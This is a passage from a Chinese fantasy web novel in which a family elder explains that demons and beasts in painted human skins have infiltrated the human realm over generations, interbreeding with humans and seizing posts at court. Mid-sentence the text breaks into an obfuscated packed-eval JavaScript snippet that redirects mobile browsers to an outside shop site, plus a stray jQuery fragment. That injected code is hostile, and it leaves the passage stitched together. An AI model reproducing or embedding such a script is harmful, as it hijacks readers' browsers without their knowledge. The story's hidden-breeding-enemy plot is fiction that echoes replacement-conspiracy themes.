“从3950年开始,第一批被'教化'的妖兽兽人学成之后,没有留在西海边塾里继续当'好学生'。它们画了人皮,换了人面,走进了南赡的城镇。
第一批进去的人很少,十几个。但它们进来之后,就偷偷去验证,雄性,就劫人族进深山,喝人血,与人族结合,孕育下代进化,一代又一代,每一代都比上一代更像人——不仅仅是皮囊像,是说话、做事、眼神都像。”
闻见道站直了身子:“这……”
这不是一异种么?
“是的,就是你们想的那样,画人皮只是为了更好的进入南赡;画了人皮才能更好的混进人群里。有了人皮之后,它们才方便学别的东西——学怎么与人说话交流、知道人族的好,让自己显得无害。有的人兽初代后裔长得比较漂亮,有的学习比人族更快;看到希望的异族,从此暗地里便疯狂囚禁人族,为它们改善血脉。”
书房的灯焰跳了一下。落实子伸手把那卷旧纸往回收了几寸,纸边的碎屑落了一小撮在桌面上,他伸手拂掉了。
“三百年了。”他声音更低了,“第一批画人皮的妖兽与人互通,如今,不知已经传了多少代。它们的后代在人族出生,出生就开始学人样,它们不觉得自己是异类,只觉得自己就是'人'——只是比普通的人更壮、更有精力、更清楚自己要什么。血脉改进后,它们就不断开始扩大势力,混进朝堂,进入六部衙门、州郡府邸、军营、学堂、书铺茶楼、进了很多你以为很平常的地方。”
“有多少?”闻见喜问。
“算不清。也不可能算清。你想,一个人活了三十年,现在周围的人里哪些是真的人、哪些是披着人皮什么的怪东西——这种事,谁敢说能算清?”
书房里安静了很久。
方生生一直没说话,但她攥着那盏已经磕了边沿的茶盏,指节泛白。她想过自己师父融春真人这些年为什么总在“边境巡诊”,去过的地方越来越偏、带回来的消息越来越少——有些事她没有细想过,但此刻它们凑到一起了。
“那些人——”落叶松开口了。他平日里嗓门大、脾气直,从来说话不绕弯,但此刻他的声音闷闷的,像锤子砸在厚棉被上,“那些人混在咱们身边,他们想干什么?”
“干什么?自然是想取代咱们。”落实子说,“但他们的想法跟咱们不太一样。它们想的不是正面直接打——直接打,炎夏好歹历史悠远,人族兴旺。硬刚,3833年那十年就是它们的下场;它们受魔族后人指点,想的是长远换种计划——取代人族。将自己成长人族的一部分,像树根一样伸进每一块土里。等根扎稳了、扎深了,地面上那块土——不管上面长的是什么——都会变成它们的养分。”
“朝廷不管么?”落叶松追问。
炎武帝能亲征十年,打得西牛贺州与西海滨域差点灭亡,后面一样也可以!
“管?炎武帝过后,重文轻武,异族借种繁衍,制造大量混血降人,扎根各州,作为内应。内部蛀空中枢,世家士族割据背叛,时间正好时,没发现;如今想管时,恐已无人可用了!”
落实子冷冷一笑,一个国家要亡,从来不是一朝一夕,而是日积月累,失了失了根基、国之根本。
落实子轻叹口气,“妖族,兽人并不可怕,可怕的是在南赡部洲暗伏上千年的魔族出谋划策,妖兽两族与之联盟,出阴招!魔族潜伏千年,一直未动,有天道压着,缺'名正言顺'。不管画了多少层人皮,他们骨子里不是人。它们可以用人族的文字、权术、文化——但到了最要紧的那些事上,它们拿不到人族的'气运'。龙脉认的是神龙氏的血脉,不是一张画得再好的人皮。所以它们真正想要的,是让人族的根烂掉。根烂了,他们才能接顺利接上。”
放下手指,目光扫过在座的每一个人。“南赡部洲现在不仅仅只有人族了——”
他手按在那卷旧纸上,“魔族后裔,妖族后裔,兽族后裔!他们现在蛰伏人族,有权有势,更可怕的是人族与其勾结!”
闻见喜站起来走到窗边,推开了一条缝。让外面的桂花香涌进来,浓得有些发腻。他站了好一会儿,背对着屋里的人。
“爹,“他开口了,声音从窗边传过来,不算高,“您说第一批进南赡的妖兽,是3950年左右的事?”
“对。”
“那到现在,已经快两百年了。”
“两百年。”落实子说,“不算短了。一代人二十年的话,已经换了十代。十代,足够把很多东西藏得谁都找不到。”
闻见喜从窗边转过身来,他的脸色不算好看。平日那张在外人面前永远带三分笑意的脸,此刻像卸了什么面具似的,眼角眉梢都平了下来,露出底下那张真正的、没什么表情的面孔。
“咱们散在九州那些族人——他们知道吗?”
“有一部分知道。不是全知道。”落实子说,“这种事不能广撒网。知道的人越多,走漏的风险越大。但各州支脉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806215|210736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的主事人都清楚:身边的'人'里面,有些不是人。”
三百年前,四族大伤,受了几百年天罚,这些年魔族一直在暗地找四族,却不知,现在的四族对于朝堂,已心有余而力不足!
“怎么分辨?“闻见道问,“什么方法能分出人皮底下的东西?”
“老法子。四族祖传的那套望气术——不是看长相,是看'气'。人身上有活气,妖身上也有气,但不一样。有经验的卦师盯着一个人多看几眼,能看出那层皮底下有没有东西在动。但这种术法损耗心神,不能多用。多用一次,寿数短几年。”
“那一般人怎么办?”
落叶松问,“不知道谁是人谁是妖,那怎么防?“
落实子沉默了很久。那卷旧纸在他手底下被窗缝透进来的风吹得微微抖动,纸边发出细碎的响声。他看着那卷纸,像是在斟酌什么话该说、什么话不该说。最后他选择了一句实话:
“没法防。”除非——找其与人族不一样的特点!
这是人劫也是天劫!
落叶松的拳头攥紧了些。他天生身大力不亏,在座的人里论力气他是头一份,但此刻他发现自己空有一身力气,却不知道该往哪儿用。
“没法防。“落实子重复了一遍,“因为咱们面对的不再是一群穿着兽皮的莽汉。他们学了两百年的'人样',甚至身体里还流淌着人族血脉。有心潜伏,怎么可能轻易的让人族发现它们是异族!或许就连这小小的朝阳城,可能走在街上,迎面过来的那个笑眯眯给你让路的摊贩、某个在衙门口跟你拱手致意的同僚、书院里教书育人的先生——可能都是在等人族自己烂透了。”
落泽芝一直在听,没有插话。手还搭在小腹上,指节从刚才开始就一直是收拢的姿势,没有松开过。肚子里那个还不到三个月的孩子,此刻大概只有一颗核桃那么大。但她忽然觉得那孩子动了一下——可能是错觉,也可能不是。
“泽芝,”落实子忽然叫了她一声。目光落在女儿的脸上,声音比刚才软了一些,“我刚才说的那些话,不是要吓你。你该吃吃、该睡睡、该养胎养胎。外面的那些东西——”
“我知道。”落泽芝打断了他。她不傻,从发现怀孕,最近族中一连串的事,她想,可能或许肚子里这孩子是带着‘任务’而来。
落泽芝声音出乎意料地平静,像压了一块石头在底下,“外面的事归外面。我先把孩子生下来。剩下的事——等他能睁眼了再说。”